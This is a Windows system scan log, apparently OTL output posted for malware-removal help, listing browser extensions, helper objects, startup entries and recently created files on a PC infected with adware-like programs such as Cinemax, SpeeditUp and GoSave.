FF - prefs.js..extensions.enabledAddons: LPESNIOB27154074%40RO39491085.com:0.95.56
FF - prefs.js..extensions.enabledAddons: 0cd1569197354ecf9be03%40d3ee3bc4210848f7b5a58324f064f.com:0.95.52
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:33.0.3
 
 
FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\WINDOWS\system32\Macromed\Flash\NPSWF64_15_0_0_189.dll File not found
FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\WINDOWS\SysWOW64\Macromed\Flash\NPSWF32_15_0_0_189.dll ()
FF - HKLM\Software\MozillaPlugins\@intel-webapi.intel.com/Intel WebAPI ipt;version=2.1.42: C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIIPT.dll (Intel Corporation)
FF - HKLM\Software\MozillaPlugins\@intel-webapi.intel.com/Intel WebAPI updater: C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIUpdater.dll (Intel Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=10.67.2: C:\Program Files (x86)\Java\jre7\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin: C:\Program Files (x86)\Java\jre7\bin\new_plugin\npjp2.dll File not found
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=10.67.2: C:\Program Files (x86)\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: C:\Program Files\Microsoft Office 15\root\Office15\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@staging.google.com/globalUpdate Update;version=10: C:\Program Files (x86)\globalUpdate\Update\1.3.25.0\npGoogleUpdate4.dll (globalUpdate)
FF - HKLM\Software\MozillaPlugins\@staging.google.com/globalUpdate Update;version=4: C:\Program Files (x86)\globalUpdate\Update\1.3.25.0\npGoogleUpdate4.dll (globalUpdate)
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\{d9a96531-b093-4d07-9e4c-9704a365c441}: C:\Program Files (x86)\Mozilla Firefox\extensions\{d9a96531-b093-4d07-9e4c-9704a365c441}
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 33.0.3\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 33.0.3\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\{e4f94d1e-2f53-401e-8885-681602c0ddd8}: C:\ProgramData\McAfee Security Scan\Extensions\{e4f94d1e-2f53-401e-8885-681602c0ddd8}.xpi [2014-04-04 11:36:14 | 000,010,691 | ---- | M] ()
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\{E97DD420-24D8-226E-EB83-EBBC0A6BFEFF}: C:\Program Files (x86)\ver6SpeeditUp\182.xpi [2014-11-07 12:38:46 | 000,010,356 | ---- | M] ()
 
[2014-06-29 10:39:08 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Extensions
[2014-11-07 12:32:56 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions
[2014-10-09 20:44:36 | 000,000,000 | ---D | M] ("Web Helper Lite") -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\{53ecb410-cb6c-474d-8ce2-8f9e2c15a4a7}
[2014-11-07 12:33:01 | 000,000,000 | ---D | M] ("HD-V2.2V07.11") -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\0cd1569197354ecf9be03@d3ee3bc4210848f7b5a58324f064f.com
[2014-11-07 09:38:18 | 000,000,000 | ---D | M] ("Cinemax") -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\9d2db1ce83264e61a7ee63d4f@f932995ed00643899218cf824d695.com
[2014-11-07 08:00:07 | 000,000,000 | ---D | M] ("ClickMovie1-Downloaderv10") -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\LPESNIOB27154074@RO39491085.com
[2014-11-07 07:31:37 | 000,000,000 | ---D | M] (YoutubeAdBlocke) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\mIbzPL@hZz.edu
[2014-11-07 07:31:37 | 000,000,000 | ---D | M] (GoSave) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\OtdeD9Y@Yq.net
[2014-11-08 09:16:38 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\0cd1569197354ecf9be03@d3ee3bc4210848f7b5a58324f064f.com\extensionData
[2014-11-08 09:16:38 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\0cd1569197354ecf9be03@d3ee3bc4210848f7b5a58324f064f.com\extensionData\plugins
[2014-11-08 09:16:38 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\0cd1569197354ecf9be03@d3ee3bc4210848f7b5a58324f064f.com\extensionData\userCode
[2014-11-07 09:38:16 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\9d2db1ce83264e61a7ee63d4f@f932995ed00643899218cf824d695.com\extensionData
[2014-11-07 09:38:16 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\9d2db1ce83264e61a7ee63d4f@f932995ed00643899218cf824d695.com\extensionData\plugins
[2014-11-07 09:38:16 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\9d2db1ce83264e61a7ee63d4f@f932995ed00643899218cf824d695.com\extensionData\userCode
[2014-11-08 17:46:49 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\LPESNIOB27154074@RO39491085.com\extensionData
[2014-11-08 17:46:50 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\LPESNIOB27154074@RO39491085.com\extensionData\plugins
[2014-11-08 17:46:50 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profiles\ss9eyfkc.default\extensions\LPESNIOB27154074@RO39491085.com\extensionData\userCode
[2014-10-03 21:27:16 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profilesss9eyfkc.default\extensions
[2014-10-03 21:27:16 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\Firefox\Profilesss9eyfkc.default\extensions\staged
[2014-10-16 08:47:45 | 000,133,000 | ---- | M] () (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\firefox\profiles\ss9eyfkc.default\extensions\adblockpopups@jessehakanen.net.xpi
[2014-11-07 09:25:46 | 000,008,346 | ---- | M] () (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\firefox\profiles\ss9eyfkc.default\extensions\{9015bae7-cdbb-4473-a5d0-ecfa559b2ca5}.xpi
[2014-10-10 19:56:28 | 000,008,040 | ---- | M] () (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\firefox\profiles\ss9eyfkc.default\extensions\{c60870f2-8f6e-46c4-b1de-a1d328298cb8}.xpi
[2014-10-16 16:22:02 | 000,979,610 | ---- | M] () (No name found) -- C:\Users\Iza\AppData\Roaming\mozilla\firefox\profiles\ss9eyfkc.default\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi
[2014-11-07 09:58:15 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\mozilla firefox\browser\extensions
[2014-11-07 09:58:22 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\mozilla firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
[2014-11-07 12:38:46 | 000,010,356 | ---- | M] () (No name found) -- C:\PROGRAM FILES (X86)\VER6SPEEDITUP\182.XPI
 
O1 HOSTS File: ([2013-08-22 14:25:41 | 000,000,824 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts
O2:[b]64bit:[/b] - BHO: (Cinemax) - {11111111-1111-1111-1111-110611111195} - C:\Program Files (x86)\Cinemax\Cinemax-bho64.dll (SBG)
O2:[b]64bit:[/b] - BHO: (HD-V2.2V07.11) - {11111111-1111-1111-1111-110611381131} - C:\Program Files (x86)\HD-V2.2V07.11\HD-V2.2V07.11-bho64.dll (InfoHD-V2.2V07.11)
O2:[b]64bit:[/b] - BHO: (Lync Browser Helper) - {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\OCHelper.dll (Microsoft Corporation)
O2:[b]64bit:[/b] - BHO: (WordProser) - {3EBB5099-9732-48AE-B032-58B702D86EEC} - C:\Program Files\WordProser_1.10.0.2\IE\WordProserClientIE.dll (Word Proser)
O2:[b]64bit:[/b] - BHO: (Skype Click to Call for Internet Explorer) - {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll (Microsoft Corporation)
O2:[b]64bit:[/b] - BHO: (YoutubeAdBlocke) - {bba1f6fc-143f-455c-939f-25ecc603c9a5} - C:\Program Files (x86)\YoutubeAdBlocke\sZgasdUcMWnHjS.x64.dll ()
O2:[b]64bit:[/b] - BHO: (SpeeditUp) - {C584205A-D748-5954-8285-2E533BA5FAE3} - C:\Program Files (x86)\ver6SpeeditUp\182_x64.dll ()
O2:[b]64bit:[/b] - BHO: (Microsoft SkyDrive Pro Browser Helper) - {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\GROOVEEX.DLL (Microsoft Corporation)
O2:[b]64bit:[/b] - BHO: (GoSAve) - {DCCFB3CD-D145-E673-698C-31B673937595} - C:\Program Files (x86)\GoSAve\vrZQ.x64.dll ()
O2 - BHO: (MSS+ Identifier) - {0E8A89AD-95D7-40EB-8D9D-083EF7066A01} - C:\Program Files\McAfee Security Scan\3.8.150\McAfeeMSS_IE.dll (McAfee, Inc.)
O2 - BHO: (MiniGetBHO Class) - {10E1725C-7237-41A9-954A-04DCCB1FD16C} - C:\Program Files (x86)\MiniGet\MiniGetHelper1.11.dll (MiniSoft)
O2 - BHO: (Cinemax) - {11111111-1111-1111-1111-110611111195} - C:\Program Files (x86)\Cinemax\Cinemax-bho.dll (SBG)
O2 - BHO: (HD-V2.2V07.11) - {11111111-1111-1111-1111-110611381131} - C:\Program Files (x86)\HD-V2.2V07.11\HD-V2.2V07.11-bho.dll (InfoHD-V2.2V07.11)
O2 - BHO: (WordProser) - {3EBB5099-9732-48AE-B032-58B702D86EEC} - C:\Program Files (x86)\WordProser_1.10.0.2\IE\WordProserClientIE.dll (Word Proser)
O2 - BHO: (EnterDigital) - {91b8f7a9-1558-40b3-b1e9-824ae5a2089f} - C:\Program Files (x86)\EnterDigital\EnterDigitalbho.dll (EnterDigital)
O2 - BHO: (Skype Click to Call for Internet Explorer) - {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O2 - BHO: (YoutubeAdBlocke) - {bba1f6fc-143f-455c-939f-25ecc603c9a5} - C:\Program Files (x86)\YoutubeAdBlocke\sZgasdUcMWnHjS.dll ()
O2 - BHO: (SpeeditUp) - {C584205A-D748-5954-8285-2E533BA5FAE3} - C:\Program Files (x86)\ver6SpeeditUp\182.dll ()
O2 - BHO: (GoSAve) - {DCCFB3CD-D145-E673-698C-31B673937595} - C:\Program Files (x86)\GoSAve\vrZQ.dll ()
O4:[b]64bit:[/b] - HKLM..\Run: [cAudioFilterAgent] C:\Program Files\CONEXANT\cAudioFilterAgent\CAudioFilterAgent64.exe (Conexant Systems, Inc.)
O4:[b]64bit:[/b] - HKLM..\Run: [Energy Management] C:\Program Files (x86)\Lenovo\Energy Management\Energy Management.exe (Lenovo (Beijing) Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [EnergyUtility] C:\Program Files (x86)\Lenovo\Energy Management\Utility.exe (Lenovo(beijing) Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe File not found
O4:[b]64bit:[/b] - HKLM..\Run: [IgfxTray] C:\Windows\SysNative\igfxTray.exe (Intel Corporation)
O4:[b]64bit:[/b] - HKLM..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe File not found
O4:[b]64bit:[/b] - HKLM..\Run: [SmartAudio] C:\Program Files\CONEXANT\SAII\SACpl.exe (Conexant Systems, Inc.)
O4 - HKLM..\Run: [Bonus.SSR.FR12] C:\Program Files (x86)\ABBYY FineReader 12\Bonus.ScreenshotReader.exe (ABBYY Production LLC.)
O4 - HKLM..\Run: [Dolby Advanced Audio v2] C:\Program Files (x86)\Dolby Advanced Audio v2\pcee4.exe (Dolby Laboratories Inc.)
O4 - HKLM..\Run: [Intel AppUp(SM) center] C:\Program Files (x86)\Intel\IntelAppStore\bin\ismagent.exe (Intel Corporation)
O4 - HKLM..\Run: [mbot_pl_93] C:\Program Files (x86)\mbot_pl_93\mbot_pl_93.exe ()
O4 - HKLM..\Run: [mcui_exe] "C:\Program Files\McAfee.com\Agent\mcagent.exe" /runkey File not found
O4 - HKLM..\Run: [RemoteControl10] C:\Program Files (x86)\Lenovo\PowerDVD10\PDVD10Serv.exe (CyberLink Corp.)
O4 - HKLM..\Run: [YouCam Mirage] C:\Program Files (x86)\Lenovo\YouCam\YCMMirage.exe (CyberLink)
O4 - HKLM..\Run: [YouCam Tray] C:\Program Files (x86)\Lenovo\YouCam\YouCamTray.exe (CyberLink Corp.)
O4 - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001..\Run: [ISUSPM Startup] C:\PROGRA~2\COMMON~1\INSTAL~1\UPDATE~1\ISUSPM.exe -startup File not found
O4 - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001..\Run: [uTorrent] C:\Users\Iza\AppData\Roaming\uTorrent\uTorrent.exe (BitTorrent Inc.)
O4 - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001..\Run: [WhiteSmoke Writer] C:\Program Files (x86)\WhiteSmoke Writer V8\Grammatix.exe (WhiteSmoke)
O4 - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001..\Run: [WinnerDM] C:\Users\Iza\AppData\Local\WinnerDM\wdm.exe ()
O4 - HKU\S-1-5-21-3391433854-2349287768-3811119037-1001..\Run: [Yahoo! Search] C:\Users\Iza\AppData\Local\Pay-By-Ads\Yahoo! Search\1.3.15.4\dsrlte.exe File not found
O4 - HKLM..\RunOnce: [upmbot_pl_93.exe] C:\Users\Iza\AppData\Local\mbot_pl_93\upmbot_pl_93.exe ()
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktopChanges = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoControlPanel = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 5
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableCursorSuppression = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O8:[b]64bit:[/b] - Extra context menu item: Download by MiniGet - C:\Users\Iza\AppData\Roaming\MiniGet\Config\geturl.html ()
O8:[b]64bit:[/b] - Extra context menu item: E&xport to Microsoft Excel - C:\Program Files\Microsoft Office 15\Root\Office15\EXCEL.EXE (Microsoft Corporation)
O8:[b]64bit:[/b] - Extra context menu item: Se&nd to OneNote - C:\Program Files\Microsoft Office 15\Root\Office15\ONBttnIE.dll (Microsoft Corporation)
O8 - Extra context menu item: Download by MiniGet - C:\Users\Iza\AppData\Roaming\MiniGet\Config\geturl.html ()
O8 - Extra context menu item: E&xport to Microsoft Excel - C:\Program Files\Microsoft Office 15\Root\Office15\EXCEL.EXE (Microsoft Corporation)
O8 - Extra context menu item: Se&nd to OneNote - C:\Program Files\Microsoft Office 15\Root\Office15\ONBttnIE.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra Button: Send to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\ONBttnIE.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra 'Tools' menuitem : Se&nd to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\ONBttnIE.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra Button: Lync Click to Call - {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\OCHelper.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra 'Tools' menuitem : Lync Click to Call - {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\OCHelper.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra Button: OneNote Lin&ked Notes - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra 'Tools' menuitem : OneNote Lin&ked Notes - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesX64\Microsoft Office\Office15\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9:[b]64bit:[/b] - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll (Microsoft Corporation)
O9 - Extra Button: Send to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office 15\root\office15\ONBttnIE.dll (Microsoft Corporation)
O9 - Extra 'Tools' menuitem : Se&nd to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office 15\root\office15\ONBttnIE.dll (Microsoft Corporation)
O9 - Extra Button: OneNote Lin&ked Notes - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office 15\root\office15\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9 - Extra 'Tools' menuitem : OneNote Lin&ked Notes - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office 15\root\office15\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9 - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O13[b]64bit:[/b] - gopher Prefix: missing
O13 - gopher Prefix: missing
O16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} http://java.sun.com/update/1.7.0/jinstall-1_7_0_67-windows-i586.cab (Java Plug-in 10.67.2)
O16 - DPF: {CAFEEFAC-0017-0000-0067-ABCDEFFEDCBA} http://java.sun.com/update/1.7.0/jinstall-1_7_0_67-windows-i586.cab (Java Plug-in 1.7.0_67)
O16 - DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} http://java.sun.com/update/1.7.0/jinstall-1_7_0_67-windows-i586.cab (Java Plug-in 1.7.0_67)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.0.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{4E8A372B-C400-484F-B920-AE38BEFADF15}: DhcpNameServer = 169.254.131.49
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{BC7F9826-F49D-4FCC-9438-882A522886A1}: DhcpNameServer = 192.168.0.1
O18:[b]64bit:[/b] - Protocol\Handler\ms-help - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\osf - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll (Microsoft Corporation)
O18 - Protocol\Handler\osf {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office 15\root\office15\MSOSB.DLL (Microsoft Corporation)
O18 - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: Shell - (explorer.exe) - C:\WINDOWS\explorer.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\WINDOWS\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (userinit.exe) - C:\WINDOWS\SysWow64\userinit.exe (Microsoft Corporation)
O21:[b]64bit:[/b] - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O30 - LSA: Security Packages - (livessp) -  File not found
O32 - HKLM CDRom: AutoRun - 1
O34 - HKLM BootExecute: (autocheck autochk *)
O35:[b]64bit:[/b] - HKLM\..comfile [open] -- "%1" %*
O35:[b]64bit:[/b] - HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...com [@ = comfile] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)
 
[color=#E56717]========== Files/Folders - Created Within 30 Days ==========[/color]
 
[2014-11-10 21:30:14 | 000,000,000 | ---D | C] -- C:\FRST
[2014-11-10 21:20:42 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\Iza\Desktop\OTL.scr
[2014-11-10 21:20:28 | 002,116,096 | ---- | C] (Farbar) -- C:\Users\Iza\Desktop\FRST64(1).exe
[2014-11-10 21:19:57 | 002,116,096 | ---- | C] (Farbar) -- C:\Users\Iza\Desktop\FRST64.exe
[2014-11-09 15:48:33 | 000,048,784 | ---- | C] (StdLib) -- C:\WINDOWS\SysNative\drivers\{dbe9acb7-ca74-4c18-ad13-f0270d74c42d}Gw64.sys
[2014-11-08 18:35:08 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WhiteSmoke Writer V8
[2014-11-08 18:35:04 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\WhiteSmoke Writer V8
[2014-11-07 18:58:42 | 000,000,000 | ---D | C] -- C:\Bluetooth
[2014-11-07 14:03:25 | 000,000,000 | ---D | C] -- C:\ProgramData\7bb6df21-8ca8-4eec-965d-8cd2261544c7
[2014-11-07 13:33:22 | 000,048,784 | ---- | C] (StdLib) -- C:\WINDOWS\SysNative\drivers\{9015bae7-cdbb-4473-a5d0-ecfa559b2ca5}Gw64.sys
[2014-11-07 12:38:47 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Roaming\uTorrent
[2014-11-07 12:38:46 | 000,058,040 | ---- | C] (Corsica) -- C:\WINDOWS\SysNative\drivers\webinstrNew.sys
[2014-11-07 12:38:46 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\ver6SpeeditUp
[2014-11-07 12:37:02 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Roaming\MiniGet
[2014-11-07 12:37:02 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\MiniGet
[2014-11-07 12:33:04 | 001,464,240 | ---- | C] (InfoHD-V2.2V07.11) -- C:\Users\Iza\AppData\Roaming\ZEU.exe
[2014-11-07 12:32:35 | 001,940,912 | ---- | C] (InfoHD-V2.2V07.11) -- C:\Users\Iza\AppData\Roaming\STKMWBD.exe
[2014-11-07 12:32:33 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Roaming\Systweak
[2014-11-07 12:32:31 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\RegClean Pro
[2014-11-07 12:32:27 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\HD-V2.2V07.11
[2014-11-07 12:32:21 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\RCP
[2014-11-07 12:31:57 | 000,000,000 | ---D | C] -- C:\Program Files\WordProser_1.10.0.2
[2014-11-07 12:31:54 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\WordProser_1.10.0.2
[2014-11-07 12:31:44 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\EnterDigital
[2014-11-07 09:58:15 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Mozilla Firefox
[2014-11-07 09:41:04 | 000,000,000 | ---D | C] -- C:\ProgramData\InstallShield
[2014-11-07 09:40:15 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CorelDRAW Graphics Suite X3
[2014-11-07 09:40:03 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Common Files\Protexis
[2014-11-07 09:39:08 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\WinnerDM
[2014-11-07 09:38:52 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\9664
[2014-11-07 09:38:45 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MYBESTOFFERSTODAY
[2014-11-07 09:38:41 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\mbot_pl_93
[2014-11-07 09:38:40 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\mbot_pl_93
[2014-11-07 09:37:59 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Cinemax
[2014-11-07 09:33:47 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Protexis
[2014-11-07 09:28:43 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Corel
[2014-11-07 09:28:34 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Common Files\InstallShield
[2014-11-07 09:25:30 | 290,093,464 | ---- | C] (Macrovision Corporation) -- C:\Users\Iza\Documents\CorelDRAWGraphicsSuiteX3(dobreprogramy.pl).exe
[2014-11-07 09:12:24 | 549,068,072 | ---- | C] (Acresso Software Inc.                                        ) -- C:\Users\Iza\Desktop\CorelDRAWGraphicsSuiteX7Installer_EN64Bit.exe
[2014-11-07 08:37:17 | 000,000,000 | ---D | C] -- C:\ProgramData\374311380
[2014-11-07 08:31:34 | 000,000,000 | ---D | C] -- C:\Users\Iza\Documents\Optimizer Pro
[2014-11-07 08:31:21 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Optimizer Pro
[2014-11-07 08:00:49 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Bench
[2014-11-07 08:00:10 | 001,464,216 | ---- | C] (end) -- C:\Users\Iza\AppData\Roaming\LBVIRSK.exe
[2014-11-07 07:59:42 | 001,940,888 | ---- | C] (end) -- C:\Users\Iza\AppData\Roaming\CUGUOZ.exe
[2014-11-07 07:59:37 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\globalUpdate
[2014-11-07 07:59:37 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\globalUpdate
[2014-11-07 07:58:56 | 000,000,000 | ---D | C] -- C:\Users\Iza\AppData\Local\Cool_Mirage
